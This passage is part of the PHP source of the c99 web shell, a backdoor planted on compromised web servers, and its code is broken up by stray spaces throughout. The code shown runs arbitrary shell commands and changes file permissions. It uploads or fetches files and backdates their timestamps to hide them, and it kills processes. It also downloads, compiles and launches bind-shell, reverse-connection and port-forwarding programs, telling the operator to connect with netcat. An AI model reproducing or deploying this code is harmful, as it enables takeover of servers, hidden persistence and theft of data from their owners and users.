name=\"search_in\" size=\"".round(strlen($s earch_in)+25)."\" value= \"".htmlspecialchars($se arch_in)."\"> <br><br><b >Text:</b><br><textarea name=\"search_text\" col s=\"122\" rows=\"10\">". htmlspecialchars($search _text)."</textarea> <br> <br><input type=\"checkb ox\" name=\"search_text_ regexp\" value=\"1\" ".( $search_text_regexp == 1 ?" checked":"")."> - reg exp <input t ype=\"checkbox\" name=\" search_text_wwo\" value= \"1\" ".($search_text_ww o == 1?" checked":"")."> - <u>w</u>hole words on ly <input ty pe=\"checkbox\" name=\"s earch_text_cs\" value=\" 1\" ".($search_text_cs = = 1?" checked":"")."> - cas<u>e</u> sensitive &n bsp; <input type=\" checkbox\" name=\"search _text_not\" value=\"1\" ".($search_text_not == 1 ?" checked":"")."> - fin d files <u>NOT</u> conta ining the text <br><br>< input type=submit name=s ubmit value=\"Search\">< /form>"; if ($act == "l s") {$dspact = $act; ech o "<hr size=\"1\" noshad e><b>Search took ".$sear chtime." secs (".$search _i_f." files and ".$sear ch_i_d." folders, ".roun d(($search_i_f+$search_i _d)/$searchtime,4)." obj ects per second).</b><br ><br>";} } if ($act == " chmod") { $mode = filep erms($d.$f); if (!$mode ) {echo "<b>Change file- mode with error:</b> can 't get current value.";} else { $form = true ; if ($chmod_submit) { $octet = "0".base_ convert(($chmod_o["r"]?1 :0).($chmod_o["w"]?1:0). ($chmod_o["x"]?1:0).($ch mod_g["r"]?1:0).($chmod_ g["w"]?1:0).($chmod_g["x "]?1:0).($chmod_w["r"]?1 :0).($chmod_w["w"]?1:0). ($chmod_w["x"]?1:0),2,8) ; if (chmod($d.$f,$oc tet)) {$act = "ls"; $for m = false; $err = "";} else {$err = "Can't ch mod to ".$octet.".";} } if ($form) { $p erms = parse_perms($mode ); echo "<b>Changing file-mode (".$d.$f."), " .view_perms_color($d.$f) ." (".substr(decoct(file perms($d.$f)),-4,4).")</ b><br>".($err?"<b>Error: </b> ".$err:"")."<form a ction=\"".$surl."\" meth od=POST><input type=hidd en name=d value=\"".html specialchars($d)."\"><in put type=hidden name=f v alue=\"".htmlspecialchar s($f)."\"><input type=hi dden name=act value=chmo d><table align=left widt h=300 border=0 cellspaci ng=0 cellpadding=5><tr>< td><b>Owner</b><br><br>< input type=checkbox NAME =chmod_o[r] value=1".($p erms["o"]["r"]?" checked ":"")."> Read<br><i nput type=checkbox name= chmod_o[w] value=1".($pe rms["o"]["w"]?" checked" :"")."> Write<br><i nput type=checkbox NAME= chmod_o[x] value=1".($pe rms["o"]["x"]?" checked" :"").">eXecute</td><td>< b>Group</b><br><br><inpu t type=checkbox NAME=chm od_g[r] value=1".($perms ["g"]["r"]?" checked":"" )."> Read<br><input type=checkbox NAME=chmo d_g[w] value=1".($perms[ "g"]["w"]?" checked":"") ."> Write<br><input type=checkbox NAME=chmo d_g[x] value=1".($perms[ "g"]["x"]?" checked":"") .">eXecute</font></td><t d><b>World</b><br><br><i nput type=checkbox NAME= chmod_w[r] value=1".($pe rms["w"]["r"]?" checked" :"")."> Read<br><in put type=checkbox NAME=c hmod_w[w] value=1".($per ms["w"]["w"]?" checked": "")."> Write<br><in put type=checkbox NAME=c hmod_w[x] value=1".($per ms["w"]["x"]?" checked": "").">eXecute</font></td ></tr><tr><td><input typ e=submit name=chmod_subm it value=\"Save\"></td>< /tr></table></form>"; } } } if ($act == "uplo ad") { $uploadmess = "" ; $uploadpath = str_rep lace("\\",DIRECTORY_SEPA RATOR,$uploadpath); if (empty($uploadpath)) {$u ploadpath = $d;} elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} if (!empty($subm it)) { global $HTTP_P OST_FILES; $uploadfile = $HTTP_POST_FILES["upl oadfile"]; if (!empty( $uploadfile["tmp_name"]) ) { if (empty($uplo adfilename)) {$destin = $uploadfile["name"];} else {$destin = $userfi lename;} if (!move_up loaded_file($uploadfile[ "tmp_name"],$uploadpath. $destin)) {$uploadmess . = "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadf ile["tmp_name"]."\" to \ "".$uploadpath.$destin." \"!<br>";} } elseif (!empty($uploadurl)) { if (!empty($uploadfi lename)) {$destin = $upl oadfilename;} else { $destin = explode ("/",$destin); $dest in = $destin[count($dest in)-1]; if (empty($d estin)) { $i = 0; $b = ""; wh ile(file_exists($uploadp ath.$destin)) {if ($i > 0) {$b = "_".$i;} $desti n = "index".$b.".html"; $i++;}} } if ((!er egi("http://",$uploadurl )) and (!eregi("https:// ",$uploadurl)) and (!ere gi("ftp://",$uploadurl)) ) {echo "<b>Incorect url !</b><br>";} else { $st = getmicrotime (); $content = @file _get_contents($uploadurl ); $dt = round(getmi crotime()-$st,4); if (!$content) {$uploadmes s .= "Can't download fi le!<br>";} else { if ($filestealth) {$stat = stat($uploadpa th.$destin);} $fp = fopen($uploadpath.$dest in,"w"); if (!$fp) {$uploadmess .= "Error w riting to file ".htmlspe cialchars($destin)."!<br >";} else { fwrite($fp,$content, strlen($content)); fclose($fp); if ( $filestealth) {touch($up loadpath.$destin,$stat[9 ],$stat[8]);} } } } } } if ($min iform) { echo "<b>".$ uploadmess."</b>"; $ac t = "ls"; } else { echo "<b>File upload:</b ><br><b>".$uploadmess."< /b><form enctype=\"multi part/form-data\" action= \"".$surl."act=upload&d= ".urlencode($d)."\" meth od=POST> Select file on your local computer: <in put name=\"uploadfile\" type=\"file\"><br> or<br> Input URL: <input name=\"uplo adurl\" type=\"text\" va lue=\"".htmlspecialchars ($uploadurl)."\" size=\" 70\"><br><br> Save this file dir: <input name=\" uploadpath\" size=\"70\" value=\"".$dispd."\"><b r><br> File-name (auto-f ill): <input name=upload filename size=25><br><br > <input type=checkbox n ame=uploadautoname value =1 id=df4> convert file name to lovercase<b r><br> <input type=submi t name=submit value=\"Up load\"> </form>"; } } i f ($act == "delete") { $delerr = ""; foreach ( $actbox as $v) { $res ult = false; $result = fs_rmobj($v); if (!$r esult) {$delerr .= "Can' t delete ".htmlspecialch ars($v)."<br>";} } if (!empty($delerr)) {echo "<b>Deleting with errors :</b><br>".$delerr;} $a ct = "ls"; } if (!$usefs buff) { if (($act == "p aste") or ($act == "copy ") or ($act == "cut") or ($act == "unselect")) { echo "<center><b>Sorry, buffer is disabled. For enable, set directive \" \$useFSbuff\" as TRUE.</ center>";} } else { if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data ["copy"],$actbox); c99_s ess_put($sess_data); $ac t = "ls"; } elseif ($ac t == "cut") {$sess_data[ "cut"] = array_merge($se ss_data["cut"],$actbox); c99_sess_put($sess_data ); $act = "ls";} elseif ($act == "unselect") {f oreach ($sess_data["copy "] as $k=>$v) {if (in_ar ray($v,$actbox)) {unset( $sess_data["copy"][$k]); }} foreach ($sess_data[" cut"] as $k=>$v) {if (in _array($v,$actbox)) {uns et($sess_data["cut"][$k] );}} c99_sess_put($sess_ data); $act = "ls";} if ($actemptybuff) {$sess_ data["copy"] = $sess_dat a["cut"] = array(); c99_ sess_put($sess_data);} elseif ($actpastebuff) { $psterr = ""; fore ach($sess_data["copy"] a s $k=>$v) { $to = $ d.basename($v); if (! fs_copy_obj($v,$to)) {$p sterr .= "Can't copy ".$ v." to ".$to."!<br>";} if ($copy_unset) {unse t($sess_data["copy"][$k] );} } foreach($sess_ data["cut"] as $k=>$v) { $to = $d.basename( $v); if (!fs_move_obj ($v,$to)) {$psterr .= "C an't move ".$v." to ".$t o."!<br>";} unset($se ss_data["cut"][$k]); } c99_sess_put($sess_da ta); if (!empty($pster r)) {echo "<b>Pasting wi th errors:</b><br>".$pst err;} $act = "ls"; } elseif ($actarcbuff) { $arcerr = ""; if (s ubstr($actarcbuff_path,- 7,7) == ".tar.gz") {$ext = ".tar.gz";} else {$ ext = ".tar.gz";} if ( $ext == ".tar.gz") {$cmd line = "tar cfzv";} $c mdline .= " ".$actarcbuf f_path; $objects = arr ay_merge($sess_data["cop y"],$sess_data["cut"]); foreach($objects as $v ) { $v = str_replac e("\\",DIRECTORY_SEPARAT OR,$v); if (substr($v ,0,strlen($d)) == $d) {$ v = basename($v);} if (is_dir($v)) { i f (substr($v,-1) != DIRE CTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} $v .= "*"; } $cm dline .= " ".$v; } $ tmp = realpath("."); c hdir($d); $ret = myshe llexec($cmdline); chdi r($tmp); if (empty($re t)) {$arcerr .= "Can't c all archivator (".htmlsp ecialchars(str2mini($cmd line,60)).")!<br>";} $ ret = str_replace("\r\n" ,"\n",$ret); $ret = ex plode("\n",$ret); if ( $copy_unset) {foreach($s ess_data["copy"] as $k=> $v) {unset($sess_data["c opy"][$k]);}} foreach( $sess_data["cut"] as $k= >$v) { if (in_array ($v,$ret)) {fs_rmobj($v) ;} unset($sess_data[" cut"][$k]); } c99_se ss_put($sess_data); if (!empty($arcerr)) {echo "<b>Archivation errors: </b><br>".$arcerr;} $a ct = "ls"; } elseif ($ actpastebuff) { $pste rr = ""; foreach($sess _data["copy"] as $k=>$v) { $to = $d.basenam e($v); if (!fs_copy_o bj($v,$d)) {$psterr .= " Can't copy ".$v." to ".$ to."!<br>";} if ($cop y_unset) {unset($sess_da ta["copy"][$k]);} } foreach($sess_data["cut" ] as $k=>$v) { $to = $d.basename($v); if (!fs_move_obj($v,$d)) { $psterr .= "Can't move " .$v." to ".$to."!<br>";} unset($sess_data["cu t"][$k]); } c99_sess _put($sess_data); if ( !empty($psterr)) {echo " <b>Pasting with errors:< /b><br>".$psterr;} $ac t = "ls"; } } if ($act == "cmd") { if (trim($cm d) == "ps -aux") {$act = "processes";} elseif (t rim($cmd) == "tasklist") {$act = "processes";} e lse { @chdir($chdir); if (!empty($submit)) { echo "<b>Result of exe cution this command</b>: <br>"; $olddir = realp ath("."); @chdir($d); $ret = myshellexec($cm d); $ret = convert_cyr _string($ret,"d","w"); if ($cmd_txt) { $r ows = count(explode("\r\ n",$ret))+1; if ($row s < 10) {$rows = 10;} echo "<br><textarea col s=\"122\" rows=\"".$rows ."\" readonly>".htmlspec ialchars($ret)."</textar ea>"; } else {echo $ ret."<br>";} @chdir($o lddir); } else {echo " <b>Execution command</b> "; if (empty($cmd_txt)) {$cmd_txt = true;}} ech o "<form action=\"".$sur l."\" method=POST><input type=hidden name=act va lue=cmd><textarea name=c md cols=122 rows=10>".ht mlspecialchars($cmd)."</ textarea><input type=hid den name=\"d\" value=\"" .$dispd."\"><br><br><inp ut type=submit name=subm it value=\"Execute\">&nb sp;Display in text-area& nbsp;<input type=\"check box\" name=\"cmd_txt\" v alue=\"1\""; if ($cmd_tx t) {echo " checked";} ec ho "></form>"; } } if ($ act == "ls") { if (coun t($ls_arr) > 0) {$list = $ls_arr;} else { $l ist = array(); if ($h = @opendir($d)) { w hile (($o = readdir($h)) !== false) {$list[] = $ d.$o;} closedir($h); } else {} } if (co unt($list) == 0) {echo " <center><b>Can't open fo lder (".htmlspecialchars ($d).")!</b></center>";} else { //Building a rray $objects = array( ); $vd = "f"; //Viewin g mode if ($vd == "f") { $objects["head"] = array(); $objects[ "folders"] = array(); $objects["links"] = arr ay(); $objects["files "] = array(); foreach ($list as $v) { $o = basename($v); $ row = array(); if ($ o == ".") {$row[] = $d.$ o; $row[] = "LINK";} elseif ($o == "..") {$r ow[] = $d.$o; $row[] = " LINK";} elseif (is_d ir($v)) { if (i s_link($v)) {$type = "LI NK";} else {$type = "DIR";} $row[] = $ v; $row[] = $type; } elseif(is_file ($v)) {$row[] = $v; $row [] = filesize($v);} $row[] = filemtime($v); if (!$win) { $ow = posix_getpwuid(f ileowner($v)); $gr = posix_getgrgid(filegro up($v)); $row[] = ( $ow["name"]?$ow["name"]: fileowner($v))."/".($gr[ "name"]?$gr["name"]:file group($v)); } $r ow[] = fileperms($v); if (($o == ".") or ($o == "..")) {$objects["he ad"][] = $row;} else if (is_link($v)) {$objec ts["links"][] = $row;} elseif (is_dir($v)) { $objects["folders"][] = $row;} elseif (is_fi le($v)) {$objects["files "][] = $row;} $i++; } $row = array(); $row[] = "<b>Name</b> "; $row[] = "<b>Size< /b>"; $row[] = "<b>Mo dify</b>"; if (!$win) {$row[] = "<b>Owner/G roup</b>";} $row[] = "<b>Perms</b>"; $row[ ] = "<b>Action</b>"; $parsesort = parsesort($ sort); $sort = $parse sort[0].$parsesort[1]; $k = $parsesort[0]; if ($parsesort[1] != "a ") {$parsesort[1] = "d"; } $y = "<a href=\"".$ surl."act=".$dspact."&d= ".urlencode($d)."&sort=" .$k.($parsesort[1] == "a "?"d":"a")."\">"; $y .= "<img src=\"".$surl." act=img&img=sort_".($sor t[1] == "a"?"asc":"desc" )."\" height=\"9\" width =\"14\" alt=\"".($parses ort[1] == "a"?"Asc.":"De sc")."\" border=\"0\"></ a>"; $row[$k] .= $y; for($i=0;$i<count($ro w)-1;$i++) { if ( $i != $k) {$row[$i] = "< a href=\"".$surl."act=". $dspact."&d=".urlencode( $d)."&sort=".$i.$parseso rt[1]."\">".$row[$i]."</ a>";} } $v = $pars esort[0]; usort($obje cts["folders"], "tabsort "); usort($objects["l inks"], "tabsort"); u sort($objects["files"], "tabsort"); if ($pars esort[1] == "d") { $objects["folders"] = array_reverse($objects[" folders"]); $objects ["files"] = array_revers e($objects["files"]); } $objects = array_m erge($objects["head"],$o bjects["folders"],$objec ts["links"],$objects["fi les"]); $tab = array( ); $tab["cols"] = arr ay($row); $tab["head" ] = array(); $tab["fo lders"] = array(); $t ab["links"] = array(); $tab["files"] = array( ); $i = 0; foreach ($objects as $a) { $v = $a[0]; $o = basename($v); $dir = dirname($v); if ($d isp_fullpath) {$disppath = $v;} else {$dispp ath = $o;} $disppath = str2mini($disppath,60 ); if (in_array($v,$ sess_data["cut"])) {$dis ppath = "<strike>".$disp path."</strike>";} e lseif (in_array($v,$sess _data["copy"])) {$disppa th = "<u>".$disppath."</ u>";} foreach ($regx p_highlight as $r) { if (ereg($r[0],$o) ) { if ((!is_ numeric($r[1])) or ($r[1 ] > 3)) {$r[1] = 0; ob_c lean(); echo "Warning! C onfiguration error in \$ regxp_highlight[".$k."][ 0] - unknown command."; c99shexit();} else { $r[1] = round($r[1]); $is dir = is_dir($v); if (($r[1] == 0) or (($ r[1] == 1) and !$isdir) or (($r[1] == 2) and !$i sdir)) { if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>" ;} $disppath = $ r[2].$disppath.$r[3]; if ($r[4]) {break; } } } } } $uo = urlenc ode($o); $ud = urlen code($dir); $uv = ur lencode($v); $row = array(); if ($o == " .") { $row[] = "<img src=\"".$surl."act =img&img=small_dir\" hei ght=\"16\" width=\"19\" border=\"0\"> <a hr ef=\"".$surl."act=".$dsp act."&d=".urlencode(real path($d.$o))."&sort=".$s ort."\">".$o."</a>"; $row[] = "LINK"; } elseif ($o == "..") { $row[] = "<i mg src=\"".$surl."act=im g&img=ext_lnk\" height=\ "16\" width=\"19\" borde r=\"0\"> <a href=\" ".$surl."act=".$dspact." &d=".urlencode(realpath( $d.$o))."&sort=".$sort." \">".$o."</a>"; $ro w[] = "LINK"; } elseif (is_dir($v)) { if (is_link($v)) { $disppath . = " => ".readlink($v); $type = "LINK"; $row[] = "<img src=\ "".$surl."act=img&img=ex t_lnk\" height=\"16\" wi dth=\"16\" border=\"0\"> <a href=\"".$surl. "act=ls&d=".$uv."&sort=" .$sort."\">[".$disppath. "]</a>"; } els e { $type = " DIR"; $row[] = "< img src=\"".$surl."act=i mg&img=small_dir\" heigh t=\"16\" width=\"19\" bo rder=\"0\"> <a href =\"".$surl."act=ls&d=".$ uv."&sort=".$sort."\">[" .$disppath."]</a>"; } $row[] = $type; } elseif(is_fil e($v)) { $ext = explode(".",$o); $ c = count($ext)-1; $ext = $ext[$c]; $e xt = strtolower($ext); $row[] = "<img src= \"".$surl."act=img&img=e xt_".$ext."\" border=\"0 \"> <a href=\"".$su rl."act=f&f=".$uo."&d=". $ud."&\">".$disppath."</ a>"; $row[] = view_ size($a[1]); } $ row[] = date("d.m.Y H:i: s",$a[2]); if (!$win ) {$row[] = $a[3];} $row[] = "<a href=\"".$s url."act=chmod&f=".$uo." &d=".$ud."\"><b>".view_p erms_color($v)."</b></a> "; if ($o == ".") {$ checkbox = "<input type= \"checkbox\" name=\"actb ox[]\" onclick=\"ls_reve rse_all();\">"; $i--;} else {$checkbox = "<i nput type=\"checkbox\" n ame=\"actbox[]\" id=\"ac tbox".$i."\" value=\"".h tmlspecialchars($v)."\"> ";} if (is_dir($v)) {$row[] = "<a href=\"".$ surl."act=d&d=".$uv."\"> <img src=\"".$surl."act= img&img=ext_diz\" alt=\" Info\" height=\"16\" wid th=\"16\" border=\"0\">< /a> ".$checkbox;} else {$row[] = "<a hr ef=\"".$surl."act=f&f=". $uo."&ft=info&d=".$ud."\ "><img src=\"".$surl."ac t=img&img=ext_diz\" alt= \"Info\" height=\"16\" w idth=\"16\" border=\"0\" ></a> <a href=\"".$ surl."act=f&f=".$uo."&ft =edit&d=".$ud."\"><img s rc=\"".$surl."act=img&im g=change\" alt=\"Change\ " height=\"16\" width=\" 19\" border=\"0\"></a>&n bsp;<a href=\"".$surl."a ct=f&f=".$uo."&ft=downlo ad&d=".$ud."\"><img src= \"".$surl."act=img&img=d ownload\" alt=\"Download \" height=\"16\" width=\ "19\" border=\"0\"></a>& nbsp;".$checkbox;} i f (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} elseif (is_ link($v)) {$tab["links"] [] = $row;} elseif ( is_dir($v)) {$tab["folde rs"][] = $row;} else if (is_file($v)) {$tab[" files"][] = $row;} $ i++; } } //Compil ing table $table = arr ay_merge($tab["cols"],$t ab["head"],$tab["folders "],$tab["links"],$tab["f iles"]); echo "<center ><b>Listing folder (".co unt($tab["files"])." fil es and ".(count($tab["fo lders"])+count($tab["lin ks"]))." folders):</b></ center><br><TABLE cellSp acing=0 cellPadding=0 wi dth=100% bgColor=#333333 borderColorLight=#43333 3 border=0><form action= \"".$surl."\" method=POS T name=\"ls_form\"><inpu t type=hidden name=act v alue=".$dspact."><input type=hidden name=d value =".$d.">"; foreach($ta ble as $row) { echo "<tr>\r\n"; foreach( $row as $v) {echo "<td>" .$v."</td>\r\n";} ech o "</tr>\r\n"; } ech o "</table><hr size=\"1\ " noshade><p align=\"rig ht\"> <script> funct ion ls_setcheckboxall(st atus) { var id = 0; var num = ".(count($ table)-2)."; while (i d <= num) { docum ent.getElementById('actb ox'+id).checked = status ; id++; } } f unction ls_reverse_all() { var id = 0; v ar num = ".(count($table )-2)."; while (id <= num) { document.g etElementById('actbox'+i d).checked = !document.g etElementById('actbox'+i d).checked; id++; } } </script> <in put type=\"button\" oncl ick=\"ls_setcheckboxall( true);\" value=\"Select all\"> <input type=\"button\" onclick =\"ls_setcheckboxall(fal se);\" value=\"Unselect all\"> <b><img src=\" ".$surl."act=img&img=arr ow_ltr\" border=\"0\">"; if (count(array_merge ($sess_data["copy"],$ses s_data["cut"])) > 0 and ($usefsbuff)) { ech o "<input type=submit na me=actarcbuff value=\"Pa ck buffer to archive\">& nbsp;<input type=\"text\ " name=\"actarcbuff_path \" value=\"archive_".sub str(md5(rand(1,1000).ran d(1,1000)),0,5).".tar.gz \"> &nb sp; <input ty pe=submit name=\"actpast ebuff\" value=\"Paste\"> <input type= submit name=\"actemptybu ff\" value=\"Empty buffe r\"> &n bsp; "; } echo "<select name=act> <option value=\"".$act." \">With selected:</optio n>"; echo "<option val ue=delete".($dspact == " delete"?" selected":""). ">Delete</option>"; ec ho "<option value=chmod" .($dspact == "chmod"?" s elected":"").">Change-mo de</option>"; if ($use fsbuff) { echo "<op tion value=cut".($dspact == "cut"?" selected":"" ).">Cut</option>"; ec ho "<option value=copy". ($dspact == "copy"?" sel ected":"").">Copy</optio n>"; echo "<option va lue=unselect".($dspact = = "unselect"?" selected" :"").">Unselect</option> "; } echo "</select> <input type=submit value=\"Confirm\"></p>" ; echo "</form>"; } } if ($act == "tools") { $bndportsrcs = array( "c99sh_bindport.pl"=>ar ray("Using PERL","perl % path %port"), "c99sh_b indport.c"=>array("Using C","%path %port %pass") ); $bcsrcs = array( "c99sh_backconn.pl"=>ar ray("Using PERL","perl % path %host %port"), "c 99sh_backconn.c"=>array( "Using C","%path %host % port") ); $dpsrcs = ar ray( "c99sh_datapipe.p l"=>array("Using PERL"," perl %path %localport %r emotehost %remoteport"), "c99sh_datapipe.c"=>a rray("Using C","%path %l ocalport %remoteport %re motehost") ); if (!is_ array($bind)) {$bind = a rray();} if (!is_array( $bc)) {$bc = array();} if (!is_array($datapipe) ) {$datapipe = array();} if (!is_numeric($bin d["port"])) {$bind["port "] = $bindport_port;} i f (empty($bind["pass"])) {$bind["pass"] = $bindp ort_pass;} if (empty ($bc["host"])) {$bc["hos t"] = getenv("REMOTE_ADD R");} if (!is_numeric($ bc["port"])) {$bc["port" ] = $bc_port;} if (em pty($datapipe["remoteadd r"])) {$datapipe["remote addr"] = "irc.dalnet.ru: 6667";} if (!is_numeric ($datapipe["localport"]) ) {$datapipe["localport" ] = $datapipe_localport; } if (!empty($bindsubmi t)) { echo "<b>Result of binding port:</b><br >"; $v = $bndportsrcs[ $bind["src"]]; if (emp ty($v)) {echo "Unknown f ile!<br>";} elseif (fs ockopen(getenv("SERVER_A DDR"),$bind["port"],$err no,$errstr,0.1)) {echo " Port alredy in use, sele ct any other!<br>";} e lse { $w = explode( ".",$bind["src"]); $e xt = $w[count($w)-1]; unset($w[count($w)-1]); $srcpath = join(".", $w).".".rand(0,999).".". $ext; $binpath = $tmp dir.join(".",$w).rand(0, 999); if ($ext == "pl ") {$binpath = $srcpath; } @unlink($srcpath); $fp = fopen($srcpath, "ab+"); if (!$fp) {ec ho "Can't write sources to \"".$srcpath."\"!<br> ";} elseif (!$data = c99getsource($bind["src" ])) {echo "Can't downloa d sources!";} else { fwrite($fp,$data, strlen($data)); fclo se($fp); if ($ext == "c") {$retgcc = myshell exec("gcc -o ".$binpath. " ".$srcpath); @unlink( $srcpath);} $v[1] = str_replace("%path",$bin path,$v[1]); $v[1] = str_replace("%port",$bi nd["port"],$v[1]); $ v[1] = str_replace("%pas s",$bind["pass"],$v[1]); $v[1] = str_replace ("//","/",$v[1]); $r etbind = myshellexec($v[ 1]." > /dev/null &"); sleep(5); $sock = fsockopen("localhost",$b ind["port"],$errno,$errs tr,5); if (!$sock) { echo "I can't connect to localhost:".$bind["port "]."! I think you should configure your firewall .";} else {echo "Bin ding... ok! Connect to < b>".getenv("SERVER_ADDR" ).":".$bind["port"]."</b >! You should use NetCat ©, run \"<b>nc -v " .getenv("SERVER_ADDR")." ".$bind["port"]."</b>\" !<center><a href=\"".$su rl."act=processes&grep=" .basename($binpath)."\"> <u>View binder's process </u></a></center>";} } echo "<br>"; } } if (!empty($bcsubmit)) { echo "<b>Result of back connection:</b><br >"; $v = $bcsrcs[$bc[" src"]]; if (empty($v)) {echo "Unknown file!<br >";} else { $w = explode(".",$bc["src"]); $ext = $w[count($w)- 1]; unset($w[count($w )-1]); $srcpath = joi n(".",$w).".".rand(0,999 ).".".$ext; $binpath = $tmpdir.join(".",$w).r and(0,999); if ($ext == "pl") {$binpath = $sr cpath;} @unlink($srcp ath); $fp = fopen($sr cpath,"ab+"); if (!$f p) {echo "Can't write so urces to \"".$srcpath."\ "!<br>";} elseif (!$d ata = c99getsource($bc[" src"])) {echo "Can't dow nload sources!";} els e { fwrite($fp,$d ata,strlen($data)); fclose($fp); if ($ex t == "c") {$retgcc = mys hellexec("gcc -o ".$binp ath." ".$srcpath); @unli nk($srcpath);} $v[1] = str_replace("%path",$ binpath,$v[1]); $v[1 ] = str_replace("%host", $bc["host"],$v[1]); $v[1] = str_replace("%po rt",$bc["port"],$v[1]); $v[1] = str_replace( "//","/",$v[1]); $re tbind = myshellexec($v[1 ]." > /dev/null &"); echo "Now script try co nnect to ".htmlspecialch ars($bc["host"]).":".htm lspecialchars($bc["port" ])."...<br>"; } } } if (!empty($dpsubmit) ) { echo "<b>Result o f datapipe-running:</b>< br>"; $v = $dpsrcs[$da tapipe["src"]]; if (em pty($v)) {echo "Unknown file!<br>";} elseif (f sockopen(getenv("SERVER_ ADDR"),$datapipe["port"] ,$errno,$errstr,0.1)) {e cho "Port alredy in use, select any other!<br>"; } else { $srcpath = $tmpdir.$datapipe["sr c"]; $w = explode("." ,$datapipe["src"]); $ ext = $w[count($w)-1]; unset($w[count($w)-1]) ; $srcpath = join("." ,$w).".".rand(0,999)."." .$ext; $binpath = $tm pdir.join(".",$w).rand(0 ,999); if ($ext == "p l") {$binpath = $srcpath ;} @unlink($srcpath); $fp = fopen($srcpath ,"ab+"); if (!$fp) {e cho "Can't write sources to \"".$srcpath."\"!<br >";} elseif (!$data = c99getsource($datapipe[ "src"])) {echo "Can't do wnload sources!";} el se { fwrite($fp,$ data,strlen($data)); fclose($fp); if ($e xt == "c") {$retgcc = my shellexec("gcc -o ".$bin path." ".$srcpath); @unl ink($srcpath);} list ($datapipe["remotehost"] ,$datapipe["remoteport"] ) = explode(":",$datapip e["remoteaddr"]); $v [1] = str_replace("%path ",$binpath,$v[1]); $ v[1] = str_replace("%loc alport",$datapipe["local port"],$v[1]); $v[1] = str_replace("%remoteh ost",$datapipe["remoteho st"],$v[1]); $v[1] = str_replace("%remotepor t",$datapipe["remoteport "],$v[1]); $v[1] = s tr_replace("//","/",$v[1 ]); $retbind = myshe llexec($v[1]." > /dev/nu ll &"); sleep(5); $sock = fsockopen("loc alhost",$datapipe["port" ],$errno,$errstr,5); if (!$sock) {echo "I ca n't connect to localhost :".$datapipe["localport" ]."! I think you should configure your firewall. ";} else {echo "Runn ing datapipe... ok! Conn ect to <b>".getenv("SERV ER_ADDR").":".$datapipe[ "port"].", and you will connected to ".$datapipe ["remoteaddr"]."</b>! Yo u should use NetCat© ;, run \"<b>nc -v ".gete nv("SERVER_ADDR")." ".$b ind["port"]."</b>\"!<cen ter><a href=\"".$surl."a ct=processes&grep=".base name($binpath)."\"><u>Vi ew datapipe process</u>< /a></center>";} } echo "<br>"; } } ?>< b>Binding port:</b><br>< form action="<?php echo $surl; ?>"><input type=h idden name=act value=too ls><input type=hidden na me=d value="<?php echo $ d; ?>">Port: <input type =text name="bind[port]" value="<?php echo htmlsp ecialchars($bind["port"] ); ?>"> Password: < input type=text name="bi nd[pass]" value="<?php e cho htmlspecialchars($bi nd["pass"]); ?>"> < select name="bind[src]"> <?php foreach($bndports rcs as $k=>$v) {echo "<o ption value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} ech o ">".$v[0]."</option>"; } ?></select> <inp ut type=submit name=bind submit value="Bind"></fo rm> <b>Back connection:< /b><br><form action="<?p hp echo $surl; ?>"><inpu t type=hidden name=act v alue=tools><input type=h idden name=d value="<?ph p echo $d; ?>">HOST: <in put type=text name="bc[h ost]" value="<?php echo htmlspecialchars($bc["ho st"]); ?>"> Port: < input type=text name="bc [port]" value="<?php ech o htmlspecialchars($bc[" port"]); ?>"> <sele ct name="bc[src]"><?php foreach($bcsrcs as $k=>$ v) {echo "<option value= \"".$k."\""; if ($k == $ bc["src"]) {echo " selec ted";} echo ">".$v[0]."< /option>";} ?></select>& nbsp;<input type=submit name=bcsubmit value="Con nect"></form> Click "Con nect" only after open po rt for it. You should us e NetCat©, run "<b> nc -l -n -v -p <?php ech o $bc_port; ?></b>"!<br> <br> <b>Datapipe:</b><br ><form action="<?php ech o $surl; ?>"><input type =hidden name=act value=t ools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input ty pe=text name="datapipe[r emoteaddr]" value="<?php echo htmlspecialchars($ datapipe["remoteaddr"]); ?>"> Local port: < input type=text name="da tapipe[localport]" value ="<?php echo htmlspecial chars($datapipe["localpo rt"]); ?>"> <select name="datapipe[src]"><? php foreach($dpsrcs as $ k=>$v) {echo "<option va lue=\"".$k."\""; if ($k == $bc["src"]) {echo " s elected";} echo ">".$v[0 ]."</option>";} ?></sele ct> <input type=sub mit name=dpsubmit value= "Run"></form><b>Note:</b > sources will be downlo aded from remote server. <?php } if ($act == "pro cesses") { echo "<b>Pro cesses:</b><br>"; if (! $win) {$handler = "ps -a ux".($grep?" | grep '".a ddslashes($grep)."'":"") ;} else {$handler = "ta sklist";} $ret = myshel lexec($handler); if (!$ ret) {echo "Can't execut e \"".$handler."\"!";} else { if (empty($pro cesses_sort)) {$processe s_sort = $sort_default;} $parsesort = parsesor t($processes_sort); if (!is_numeric($parsesort [0])) {$parsesort[0] = 0 ;} $k = $parsesort[0]; if ($parsesort[1] != "a") {$y = "<a href=\"". $surl."act=".$dspact."&d =".urlencode($d)."&proce sses_sort=".$k."a\"><img src=\"".$surl."act=img& img=sort_desc\" height=\ "9\" width=\"14\" border =\"0\"></a>";} else {$ y = "<a href=\"".$surl." act=".$dspact."&d=".urle ncode($d)."&processes_so rt=".$k."d\"><img src=\" ".$surl."act=img&img=sor t_asc\" height=\"9\" wid th=\"14\" border=\"0\">< /a>";} $ret = htmlspec ialchars($ret); if (!$ win) { if ($pid) { if (is_null($sig) ) {$sig = 9;} echo " Sending signal ".$sig." to #".$pid."... "; i f (posix_kill($pid,$sig) ) {echo "OK.";} else {echo "ERROR.";} } while (ereg(" ",$ret) ) {$ret = str_replace(" "," ",$ret);} $stack = explode("\n",$ret); $head = explode(" ",$s tack[0]); unset($stac k[0]); for($i=0;$i<co unt($head);$i++) { if ($i != $k) {$head[$ i] = "<a href=\"".$surl. "act=".$dspact."&d=".url encode($d)."&processes_s ort=".$i.$parsesort[1]." \"><b>".$head[$i]."</b>< /a>";} } $prcs = a rray(); foreach ($sta ck as $line) { if (!empty($line)) { ec ho "<tr>"; $line = explode(" ",$line); $line[10] = join(" ",ar ray_slice($line,10)); $line = array_slice($ line,0,11); if ($li ne[0] == get_current_use r()) {$line[0] = "<font 